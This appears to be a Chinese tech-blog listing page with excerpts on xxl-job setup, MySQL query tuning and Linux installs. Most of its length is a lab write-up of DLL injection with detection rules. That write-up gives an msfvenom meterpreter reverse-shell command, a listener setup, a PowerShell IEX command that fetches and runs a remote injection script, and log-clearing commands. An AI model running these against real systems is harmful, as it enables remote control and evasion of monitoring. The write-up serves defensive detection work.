• 抓别人软件包分析教程

    抓别人软件包,来分析做自己的软件   ...

    2023-12-13 技术教程 268
  • docker如何部署xxl-job调度中心

    文章目录 第1步:下载镜像 第2步:创建容器并运行 第3步:浏览器访问 总结 本文主要讲解docker如何部署xxl-job调度中心,我们来一起学习下吧! 如果你还没有安装docker可以参考文章《Docker安装、运行、卸载—Docker学习教程》。 第1步:下载镜像 我们先通过以下指令来下载xxl-job的docker镜像, Docker地址:https://hub.docker.com/r/xuxueli/xxl-job-admin/ (建议指定版本号) docker pull xuxueli/xxl-job-admin 第2步:创建容器并运行 接下来,我们可以通过如下指令创建xxl-job-admin容器并运行: docker run -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 需要说明的是: 如需自定义 mysql 等配置,可通过 “-e PARAMS” 指定,参数格式 PARAMS=”–key=value –key2=value2″ ; 配置项参考文件:/xxl-job/xxl-job-admin/src/main/resources/application.properties 如需自定义 JVM内存参数 等配置,可通过 “-e JAVA_OPTS” 指定,参数格式 JAVA_OPTS=”-Xmx512m” ; 类似如下指令: docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 第3步:浏览器访问 最后我们通过浏览器访问地址:http://localhost:8080/xxl-job-admin就可以看到如下界面: 总结 以上就是docker如何部署xxl-job调度中心的全部步骤,希望对你有帮助。...

    2023-11-20 技术教程 273
  • 如何快速搭建xxl-job项目详解

    文章目录 第1步:下载xxl-job源码 第2步:初始化数据库SQL 第3步:配置部署“调度中心” 3.1:修改调度中心配置文件: 3.2:部署调度中心项目 3.3 调度中心集群(可选): 3.4 其他:Docker 镜像方式搭建调度中心: 第4步: 配置部署“执行器项目” 4.1:部署执行器项目 4.2:测试执行定时任务 总结 本文重点讲解如何快速搭建xxl-job分布式任务调度框架项目,不对xxl-job做深入介绍,如果还不了解该框架的可以移步《xxl-job分布式任务调度框架详解》这篇文章,本文只讲解如何快速搭建xxl-job项目相关的实操步骤,我们一起来看以下。 搭建xxl-job项目xxl-job主要分为4个步骤: 第1步:下载xxl-job源码 首先我们去github或者gitee去下载xxl-job的项目源码,这里我下载2.4.0的版本。以下是下载地址: github:https://github.com/xuxueli/xxl-job gitee:https://gitee.com/xuxueli0323/xxl-job xxl-job官方教程文档:https://www.xuxueli.com/xxl-job/ 下载时选择自己想要的版本,建议是稳定版。 第2步:初始化数据库SQL 接下来,我们需要初始化“调度数据库”,请将下载好的项目源码解压,获取 “调度数据库初始化SQL脚本” 并执行即可,SQL脚本位置在如下: /xxl-job/doc/db/tables_xxl_job.sql 注意: 1)该SQL脚本是mysql数据库脚本,会自动创建名为xxl_job的数据库,表名也都是xxl_job开头的,如果你要修改数据库名称,记得提前改下脚本,初始化后一共8张表如下: 2)另外,调度中心支持集群部署,集群情况下各节点务必连接同一个mysql实例,如果mysql做主从,调度中心集群节点务必强制走主库。 第3步:配置部署“调度中心” 接下来我们需要配置部署“调度中心”,调度中心的作用是统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。其实就是我们可视化的后台管理项目,即调度中心项目:xxl-job-admin。 因此,我们需要将源码中xxl-job-admin项目导入IDEA,由于是maven开发的,因此你本地需要配置好maven环境,没配置过的请参考《IntelliJ IDEA如何整合Maven图文教程详解》。 3.1:修改调度中心配置文件: 调度中心配置文件地址: /xxl-job-admin/src/main/resources/application.properties 调度中心配置内容说明: ### 调度中心JDBC链接:链接地址请保持和 2.1章节 所创建的调度数据库的地址一致 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai spring.datasource.username=root spring.datasource.password=root_pwd spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver ### 报警邮箱 spring.mail.host=smtp.qq.com spring.mail.port=25 spring.mail.username=xxx@qq.com spring.mail.password=xxx spring.mail.properties.mail.smtp.auth=true spring.mail.properties.mail.smtp.starttls.enable=true spring.mail.properties.mail.smtp.starttls.required=true spring.mail.properties.mail.smtp.socketFactory.class=javax.net.ssl.SSLSocketFactory ### 调度中心通讯TOKEN [选填]:非空时启用; xxl.job.accessToken= ### 调度中心国际化配置 [必填]: 默认为 "zh_CN"/中文简体, 可选范围为 "zh_CN"/中文简体, "zh_TC"/中文繁体 and "en"/英文; xxl.job.i18n=zh_CN ## 调度线程池最大线程配置【必填】 xxl.job.triggerpool.fast.max=200 xxl.job.triggerpool.slow.max=100 ### 调度中心日志表数据保存天数 [必填]:过期日志自动清理;限制大于等于7时生效,否则, 如-1,关闭自动清理功能; xxl.job.logretentiondays=30 以上配置重点关注jdbc数据库连接相关的内容,比如修改数据库用户名密码,以及报警邮箱相关配置,这里就不再详细展开,大家根据自己的需求配置修改即可。 3.2:部署调度中心项目 在idea中可以直接启动运行该项目,如果已经正确进行上述配置,运行成功会打印如下日志: 10:13:54.594 logback [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8080 (http) with context path '/xxl-job-admin' 10:13:54.606 logback [main] INFO c.x.job.admin.XxlJobAdminApplication - Started XxlJobAdminApplication in 2.167 seconds (JVM running for 3.881) 10:13:59.003 logback [xxl-job, admin JobScheduleHelper#scheduleThread] INFO c.x.j.a.c.thread.JobScheduleHelper - >>>>>>>>> init xxl-job admin scheduler success. 然后浏览器访问调度中心访问地址:http://localhost:8080/xxl-job-admin(该地址执行器将会使用到,作为回调地址) 默认登录账号 “admin/123456”, 登录后运行界面如下图所示。 如果要上线部署,可将项目编译打包部署即可。以上,我们就将任务调度中心集成好了。 另外补充说明以下两点: 3.3 调度中心集群(可选): 调度中心支持集群部署,提升调度系统容灾和可用性。 调度中心集群部署时,几点要求和建议: DB配置保持一致; 集群机器时钟保持一致(单机集群忽视); 建议:推荐通过nginx为调度中心集群做负载均衡,分配域名。调度中心访问、执行器回调配置、调用API服务等操作均通过该域名进行。 3.4 其他:Docker 镜像方式搭建调度中心: 参考文章《docker如何部署xxl-job调度中心》 第4步: 配置部署“执行器项目” “执行器”项目其实就是我们下载源码中的:xxl-job-executor-samples项目,这里面有两个“执行器”项目,分别为xxl-job-executor-sample-frameless和xxl-job-executor-sample-springboot。 xxl-job提供2种版本执行器供选择,现以 springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器。 顺便说下执行器项目作用:负责接收“调度中心”的调度并执行;可直接部署执行器,也可以将执行器集成到现有业务项目中。 4.1:部署执行器项目 我们使用idea打开xxl-job-executor-samples项目,注意application.properties中xxl.job.admin.addresses配置,调度中心部署根地址 [选填]:如调度中心集群部署存在多个地址则用逗号分隔。执行器将会使用该地址进行”执行器心跳注册”和”任务结果回调”;为空则关闭自动注册;我们这里默认和之前调度中心地址一致即可。 xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin 然后直接运行xxl-job-executor-springboot项目,发现启动成功。 4.2:测试执行定时任务 接下来,我们测试执行系统默认定时任务,打开调度中心页面,在任务管理中,执行一次,如下图: 我们发现在xxl-job-executor-springboot项目中,打印了如下信息: 10:43:54.772 logback [Thread-8] INFO com.xxl.job.core.server.EmbedServer - >>>>>>>>>>> xxl-job remoting server start success, nettype = class com.xxl.job.core.server.EmbedServer, port = 9999 10:47:23.505 logback [xxl-job, EmbedServer bizThreadPool-303137862] INFO c.x.job.core.executor.XxlJobExecutor - >>>>>>>>>>> xxl-job regist JobThread success, jobId:1, handler:com.xxl.job.core.handler.impl.MethodJobHandler@344426bf[class com.xxl.job.executor.service.jobhandler.SampleXxlJob#demoJobHandler] 10:49:06.782 logback [xxl-job, JobThread-1-1700189243505] INFO com.xxl.job.core.thread.JobThread - >>>>>>>>>>> xxl-job JobThread stoped, hashCode:Thread[xxl-job, JobThread-1-1700189243505,10,main] 查看调度日志查看发现调度成功: 总结 当然你也可以将下载的整个项目源码导入idea,分别修改配置,然后运行以上的两个子项目,就可以进行搭建测试了。 如果你想将调度执行项目集成到自己的springboot项目中该如何去实现呢?具体的请参考文章《SpringBoot如何集成整合xxl-job任务调度框架》。 以上就是快速搭建搭建xxl-job项目详解的全部内容,希望对你有帮助。 ...

    2023-11-20 220
  • 如何优化mysql like %xxx%模糊查询?

    本文主要讲解关于如何优化mysql like %xxx%模糊查询相关内容,让我们来一起学习下吧! 今天给大家分享一个小知识,实际项目中,like %xxx%的情况其实挺多的,比如某个表单如果支持根据公司名进行搜索,用户一般都是输入湖南xxx有限公司中的xxx进行搜索,所以对于接口而言,就必须使用like %xxx%来支持,从而不符合最左前缀原则导致索引失效,那么该如何优化这种情况呢? 第一种可以尝试的方案就是利用索引条件下推,我先演示再讲原理,比如我有下面一张订单表: 就算给company_name创建一个索引,执行where company_name like '%腾讯%'也不会走索引。 但是如果给created_at, company_name创建一个联合索引,那么执行where created_at=CURDATE() and company_name like '%腾讯%'就会走联合索引,并且company_name like '%腾讯%'就会利用到索引条件下推机制,比如下图中Extra里的Using index condition就表示利用了索引条件下推。 所以,并不是like %xxx%就一定会导致索引失效,原理也可以配合其他字段一起来建联合索引,从而使用到索引条件下推机制。 再来简单分析一下索引条件下推的原理,在执行查询时先利用SQL中所提供的created_at条件在联合索引B+树中进行快速查找,匹配到所有符合created_at条件的B+树叶子节点后,再根据company_name条件进行过滤,然后再根据过滤之后的结果中的主键ID进行回表找到其他字段(回表),最终才返回结果,这样处理的好处是能够减少回表的次数,从而提高查询效率。 当然,如果实在不能建立或不方便建立联合索引,导致不能利用索引条件下推机制,那么其实可以先试试Mysql中的全文索引,最后才考虑引入ES等中间件,当然Mysql其他一些常规优化机制也是可以先考虑的,比如分页、索引覆盖(不select *)等。 以上就是关于如何优化mysql like %xxx%模糊查询相关的全部内容,希望对你有帮助。欢迎持续关注潘子夜个人博客,学习愉快哦! ...

    2023-11-20 212
  • DLL注入的术与道:分析攻击手法与检测规则

    【前言】 在攻防对抗日渐常态化的今天,攻击者的攻击已变得越来越复杂和难以防御,而作为企业的防守人员,也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的,同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此,无论你是一名甲方安全人员、红队大佬,还是对网络安全感兴趣的个人,这篇文章都将会帮助你更好地理解DLL注入的工作原理,特征以及应对方式等。让我们一起开启本篇内容的学习吧!PS:因篇幅有点长,先把本篇目录列出,以帮助读者们更好地理解本篇要领! 【正文】 1、攻击假设 1.1、什么是DLL? DLL 本质上是可供其他程序使用的函数和数据的集合,可将其视为虚拟公共资源,Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。 1.2、DLL注入 (T1055.001) 参考ATT&CK攻击矩阵,进程注入的方法比较丰富,涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入:首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间,然后创建远程线程并执行,对应ATT&CK的T1055.001,该方法需要事先将DLL存于磁盘上。 2、环境构建 使用Vmware安装系统镜像:Windows10(victim),kali(攻击)、Ubuntu22.04.2(日志分析)。 在Ubuntu20.04.2安装Wireshark与Volatility;方法参考其代码仓库。Kali已内置安全框架,直接安装即可。 Windows 10 Enterprise至Microsoft Tech Community下载。 2.1 Sysmon 该工具安装时务必指定配置文件,如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config(Florian Roth)。安装完成后运行Powershell命令行:Get-Service sysmon验证是否安装成功。 2.2 配置PowerShell ScriptBlock日志 PowerShell 日志类型:Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志,将配置并激活 ScriptBlock。以管理员运行Powershell,执行如下命令:1)更改powershell执行策略,以允许后续配置更改; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine 2)新建ScriptBlockLogging注册表路径; New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force 3)新增EnableScriptBlockLogging 属性为DWORD并设置为1; New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force 4)开启日志记录 wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true 2.3 其他软件 Process Hacker:实时分析;Wireshark:流量分析。 3、攻击模拟 3.1 生成dll文件 (1)在Kali VM使用msfvenom生成payload,msfvenom是Metasploit框架中的组件。命令如下: sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll Lhost 表示监听的主机,此处代表Kali主机, Lport 表示监听的端口. -f 生成的文件类型,此处是dll。 成功执行后如下图所示: (2)使用python命令(python3 -m http.server 8008)构建简单的服务,在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后,将与恶意主机建立连接。效果如下: (3)接下来将在Kali启动脚本开启监听,为后续操作建立通道。执行如下命令: msfconsole:开启msf框架;use exploit/multi/handler:生成处理器;set payload windows/meterpreter/reverse_tcp:指定监听的地址与端口 当payload在目标系统上执行时,它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令: set LHOST 192.168.230.155set LPORT 88run 3.2 执行注入 (1)开启WireShark捕获数据包。选择正确的网卡设备进行监听 (2)清除系统当前Sysmon和PowerShell ScriptBlock日志   以管理员身份打开 PowerShell 终端,运行以下两个命令: wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational” (3)准备Powershell脚本该脚本具备实现DLL注入的功能,目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存,操作如下: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') 若无任何输出,则表示执行成功。 3.3 注入恶意dll 此时进程注入脚本运行在powershell进程中,在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID,将其作为参数传递给注入脚本。运行以下命令: Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll 回到Kali系统,查看msf控制面板的输出,可观察到成功回连。如下图所示: 3.4 执行命令 连接成功后,可以进一步操作受控机器,比如下载文件或执行命令查看详细信息。执行过程如下所示: 3.5日志导出 以管理员打开powershell,输出sysmon与powershell script命令行日志,运行如下命令:Sysmon日志: wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx” Powershell日志: wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]" 4. 攻击分析 4.1 Powershell脚本分析 (1)首先,恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程,分别是:CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态,并返回快照。Process32First检索关于快照中第一个进程的信息,然后在循环中使用Process32Next对其进行迭代,但本次实验中未涉及上述步骤,而是指定目标进程ID,并将其作为参数传入。 (2)选取目标进程后,恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF,表示打开进程时获取了所有可能的权限,允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。 (3)调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。(4)使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。 (5)调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread),将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL),将该线程的执行地址设置为 $LoadLibraryAddr(kernel32.dll 中的 LoadLibraryA 函数),以便加载远程进程中的 DLL。 4.2 Dll分析 使用IDA Pro打开evil.dll文件,可以看到此模块包含三个函数:sub_10001000,sub_10001050,sub_100011A0,DllEntryPoint(导出函数),其中sub_10001050完成核心功能:实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值(StartupInfo、IpProcessInformation 结构体)、当前工作目录、环境变量、创建标志、句柄,随后创建rundll32.exe进程,再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。 继续使用IDA将sub_10001050转换为伪代码,如下图所示, 调用 WriteProcessMemory 函数,将地址为 unk_10003000 的数据块推送到堆栈中,写入目标进程的内存执行。 提取该处的shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能,可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。 查看MS源码,如下图所示。除了完成以上功能外,该stager继续处理接收到的内容,首先开辟4字节的buffer用于接收第二阶段的stage,使用virtualAlloc开辟对应长度的空间,循环读取接收内容并记录当前地址ebx,最后运行ebp用于第二阶段的持续控制。 4.3过程分析 过程回顾: (1)首先生成了一个恶意 DLL。(2)将此 DLL 传输到受害者的系统。(3)开启了meterpreter监听处理。(4)下载并执行powershell 脚本,将其注入到内存中。(5)运行合法进程(rufus.exe),将恶意 dll 注入到内存空间中。(6)注入的 DLL回连步骤3中的地址,从而建立连接。 (7)与控制端进行通信处理接第二阶段的payload。 实际的攻击场景可能是这样:攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件,它可能会运行嵌入的 VBA 宏,其中包含恶意代码。它负责下载攻击脚本并将其注入内存;比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入,通常比文件落地更难以检测。 首先使用Windows原生工具回顾攻击过程,包括:网络连接、进程、注册表项等。 4.3.1网络连接 打开 PowerShell 管理终端并运行以下命令: netstat -naob 命令行参数包含 o 和 b,显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接,如下图所示: 它用于加载 DLL。那么问题来了:为什么它会参与出站网络连接?在日常情况下,应该立即查看有关该 IP 的更多信息。例如是内部地址,是否有与之相关的业务系统,是否网络上的其他系统也连接到它,通过关联威胁情报或IOC库查看详细信息。 4.3.2进程信息 接下来需要了解上述进程的详细信息,例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下: tasklist /m /fi "pid eq 6256" 此输出似乎没有任何异常,查看PID=6256的父进程: wmic process where processid=6256 get parentprocessid 其父进程 PPID 为 1480, 查看该进程名称,如下图所示: wmic process where processid=1480 get Name 我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数,因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。 思考:目前发现2处异常点:(1)创建网络连接的进程及父子进程关系异常。 (2)该进程在没有命令行参数的情况下运行异常。 4.3.3 Process Hacker 使用 Process Hacker 等工具查看进程的关键属性: 进程树关系 程序签名是否合法 当前启动目录 命令行参数 线程起始地址 执行权限 内存。 以管理员身份运行Process Hacker,筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。 (1)Parent-Child relationships观察到进程 rufus.exe生成了子进程 rundll32.exe,随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL,此进程关系是比较可疑的。(2)Signature 双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名,此处暂无可疑信息。 (3)Current directory 在同一张图中,我们可以看到当前进程的工作目录是桌面,因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。 (4)Command-line arguments 看到命令行是 rundll32.exe,之前讨论在合理场景下需要路径与命令行参数。 (5)Thread Start Address在“属性”窗口顶部,选择“线程”选项卡。可以在“开始地址”下看到它已被映射,表明文件它确实存在于磁盘上,表明这不是一个反射加载的 DLL。(6)Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。 从结果中看到存在两个具有读-写-执行权限的内存空间,在正常程序执行的过程中,很少有合法程序会写入内存然后立即执行它。 (7)Memory Content双击size为172 kB的memory,可查看加载的内容,从图中可看出: 两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。 总结:使用 Process Hacker发现异常点如下: rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境; rundll32.exe 从桌面运行; 该进程还具有 RWX 内存空间权限并包含 PE 文件。 4.3.4 Sysmon 安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲,如果了解更多有关 Sysmon 的详细信息,推荐连接: (1)Sysmon详情:https://www.某tube.com/watch?v=6W6pXp6EojY(2)Trustedsec:https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 (3)Sysmon for threathunting:https://www.某tube.com/watch?v=7dEfKn70HCI 打开内置的EventViewer,包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/ 首先查看第一个事件ID=22,此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示: 命令行地址参数为raw.githubusercontent.com,因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后,会访问 Web 服务器下载另一个脚本(即Payload),此行为可能会产生 DNS请求记录,该记录是检测命令与控制行为重要指标。与IP地址类似,当我们发现有外联请求时,需要确定地址是否为业务正常请求,是否为服务合法地址,是否为威胁情报黑名单,是否为已知恶意 IOC库地址。 随之我们看到event=3的网络连接,此时evil.dll被注入rufus内存,rundll32创建网络连接,回连至攻击机器的88端口。 然后,发生三个注册表操作,事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示: 实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。(备注:考虑恶意软件的行为,认为该值应该被设置为1 (DWORD (0x00000001)),表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0,待进一步解决。)下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。 该注册表项与上面的名称相同(DisableAntiSpyware),但是注意 TargetObject 的完整路径。第一个位于HKU\...下,而这里的位于HKLM\...下。HKU代表HKEY_USERS,HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息,而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户,第二个涉及整个系统。svchost.exe 进程以系统权限(最高级别的权限)运行,这使其能够修改系统范围的密钥。 在这里,我们可以看到与第一个条目中执行的操作相同,即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态(这就是删除它的实际效果),确保系统不会出现可能干扰恶意软件操作的配置。最后,观察到ID 为 1 的事件,该事件是恶意软件活动重要特征。   在这里我们可以看到Windows远程协助COM服务器可执行文件(raserver.exe)已经启动。该工具用于远程协助,允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问,类似于远程桌面,可用于与系统交互并可能窃取数据。 4.3.5 PowerShell 脚本块 开启特定模块的日志,Powershell日志量相对较少,如下图所示。首先,PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中,我们可以看到与 PowerShell 命令相关的日志,该命令从 Web 服务器下载注入脚本并将其加载到内存中。在现实的攻击场景中,从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。因此,当我们运行前面的 IEX 命令时,它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示,以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目,这是在实际攻击中看到的内容。接下来是具有完全相同时间戳的另外两个条目,其中包含我们未显式运行的命令。由于时间戳完全相同,可以假设它们是由我们运行的命令(Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll)产生的。这些条目可能与程序集交互或分析程序集的过程有关,是 DLL 注入过程的一部分。 总结: 到目前为止我们没有深入分析攻击的过程与原理,但是通过日志我们能发掘较多异常点。在本节中,使用 Sysmon可疑收集到:(1)下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;(2)该恶意软件操纵了DisableAntiSpyware 注册表项;(3)该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe,从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到:(1)powershell从 Web 服务器下载脚本并将其注入内存; (2)使用特定命令行将脚本注入到rufus.exe中,同时可疑查看 dll 注入脚本的实际内容。 4.3.6流量分析 首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包(响应),查看数据包详细信息可查看返回值不同的地址,可能对应不同的CDN地址。我们可以在SIEM中立即查询该IOC,例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后,我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证,然后进行加密 (TLS) 交换。可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键数据包,然后选择“跟随”-“TCP 流”。可查看交换的整个数据流,虽然大部分内容被加密/混淆,但是在顶部我们看到魔术字节和 dos本文,显示有Windows可执行文件头的签名标识。 5.检测规则 rundll32.exe的使用语法如下: rundll32.exe <dllname>,<entrypoint> <optional arguments> 结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。 父子进程关系 在某些场景下存在不规范的命令行参数,日志详情如下所示:从日志内容看为进程启动日志,但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll,再从搜索结果中观察父子进程的关系。如下图所示: 实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生,实际上这一场景可以通过此技巧进行检测。 (1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数,以event_id、image、commandLine为字段建立检测规则如下所示:以dllname、fuction聚合统计后建立阈值,关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll,这属于可疑程度很高的行为需要进一步结合其他数据进行判断,如下图所示:(2)进程路径Rundll32合法路径为两类: C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe 利用sysmon日志中的Image字段建立一条检测规则:接下来统计出现过的路径值,尽一切可能建立正常的行为基线,排除正常路径值,关注异常值。例如以下场景就可能涉及恶意行为。(3)网络连接本次模拟中,rundll32 在网络通信行为只有一处,即回连攻击机的88端口。根据研究人员观察,rundll32的网络通信行为并不活跃,对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合:如果能结合进程启动日志,建立进程关系图就能更直观的展示行为序列,从而进行研判。 【总结】 本文采用较为经典的创建线程实现注入,实际上至少有10种进程注入的实现方式,不同攻击方式可能对应不同的检测规则,后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法,欢迎评论区分享你的经验。 [1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html [3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog [5] https://muchangfeng.gitbook.io/ ...

    2023-11-19 200
  • Linux系统安装软件四种方式

    Linux系统安装软件四种方式: 绿色安装 yum安装 rpm安装 源码安装 1. 绿色安装 这种方式最简便,一般提供Compressed Archive压缩文档包,如Java软件的压缩文档包,只需要解压、设置环境变量即可直接使用。 # 下载软件 https://www.oracle.com/java/technologies/downloads/ # 新建java软件存放路径 mkdir /opt/java # 解压 tar -xvf jdk-21_linux-x64_bin.tar.gz -C /opt/java # 设置环境变量 vim /etc/profile.d/java.sh JAVA_HOME=/opt/java/jdk-21.0.1/ CLASSPATH=.:$JAVA_HOME/lib PATH=JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH # 加载环境变量 source /etc/profile.d/java.sh # 检验java环境是否配置好 java 2. yum安装 前提条件是有网络 需要安装的软件及版本,yum源里刚好有。 # 搜索redis源 yum search redis # 查看redis详细信息 yum info redis # 安装redis软件 yum -y install redis # 查看redis状态 systemctl status redis # 设置开机自启 systemctl enable redis # 启动redis服务 systemctl start redis 3. rpm安装 需要的软件及版本,只提供了rpm包 3.1 rpm常用命令 # 安装一个包 rpm -ivh 包名 # 升级一个包 rpm -Uvh 包名 # 查询包是否安装 rpm -q 包名 # 查询安装包详情信息 rpm -qi 包名 # 列出服务器上的一个文件属于哪个rpm包 rpm -qf 文件名 # 列出所有安装的rpm包 rpm -qa # 卸载包 rpm -e 包名 [root@centos ~]# rpm --help Usage: rpm [OPTION...] Query/Verify package selection options: -a, --all query/verify all packages -f, --file query/verify package(s) owning file -g, --group query/verify package(s) in group -p, --package query/verify a package file --pkgid query/verify package(s) with package identifier --hdrid query/verify package(s) with header identifier --triggeredby query the package(s) triggered by the package --whatrequires query/verify the package(s) which require a dependency --whatprovides query/verify the package(s) which provide a dependency --nomanifest do not process non-package files as manifests Query options (with -q or --query): -c, --configfiles list all configuration files -d, --docfiles list all documentation files -L, --licensefiles list all license files --dump dump basic file information -l, --list list files in package --queryformat=QUERYFORMAT use the following query format -s, --state display the states of the listed files Verify options (with -V or --verify): --nofiledigest don't verify digest of files --nofiles don't verify files in package --nodeps don't verify package dependencies --noscript don't execute verify script(s) Install/Upgrade/Erase options: --allfiles install all files, even configurations which might otherwise be skipped --allmatches remove all packages which match <package> (normally an error is generated if <package> specified multiple packages) --badreloc relocate files in non-relocatable package -e, 